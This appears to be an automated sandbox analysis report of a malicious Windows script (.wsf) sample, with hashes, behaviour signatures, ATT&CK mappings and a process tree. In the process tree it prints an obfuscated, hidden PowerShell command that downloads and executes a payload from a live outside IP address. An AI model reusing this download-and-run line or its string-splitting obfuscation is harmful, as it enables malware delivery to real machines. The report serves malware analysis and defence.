c402685dc7d5b1fa37cc296c0da547bfe874d3d00600831f0689a4f785ee57a5

Analysis

max time kernel
43s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
16-10-2023 13:45

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General

Target

NEAS.NEASc402685dc7d5b1fa37cc296c0da547bfe874d3d00600831f0689a4f785ee57a5unknownunknown_JC.wsf
Size

69KB
MD5

1af10be1ac0841b6f844154543d851d5
SHA1

ed015b49e928c42e7f3c21743e5dd74f310f633d
SHA256

c402685dc7d5b1fa37cc296c0da547bfe874d3d00600831f0689a4f785ee57a5
SHA512

28807eaeeebcd480d7a1294f0644acfbae7e45c088c6d24d72fb7e025ecfc4eac9bd5dc775de8cec2c11335b54b744acc6e36420f136cd4df181d2161bf4c5ab
SSDEEP

768:zjjjjjjjjjjjjjjjjjjjjjjjsjjjjjjjjjjjRE7Lk+AjjjjjjjjjjjSjjjjjjjjf:nnk+V

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	3468	WScript.exe
7	3688	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3688	powershell.exe
3688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3688	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 3688	3468	WScript.exe	83
PID 3468 wrote to memory of 3688	3468	WScript.exe	83

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NEAS.NEASc402685dc7d5b1fa37cc296c0da547bfe874d3d00600831f0689a4f785ee57a5unknownunknown_JC.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://185.81.157.213:222/T2.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skblh1zk.w5g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3688-3-0x0000022DF1320000-0x0000022DF1342000-memory.dmp

Filesize
136KB

Download
memory/3688-13-0x00007FFCD36B0000-0x00007FFCD4171000-memory.dmp

Filesize
10.8MB

Download
memory/3688-14-0x0000022DF1370000-0x0000022DF1380000-memory.dmp

Filesize
64KB

Download
memory/3688-15-0x0000022DF1370000-0x0000022DF1380000-memory.dmp

Filesize
64KB

Download
memory/3688-16-0x0000022DF1370000-0x0000022DF1380000-memory.dmp

Filesize
64KB

Download
memory/3688-20-0x00007FFCD36B0000-0x00007FFCD4171000-memory.dmp

Filesize
10.8MB

Download
memory/3688-23-0x00007FFCD36B0000-0x00007FFCD4171000-memory.dmp

Filesize
10.8MB

Download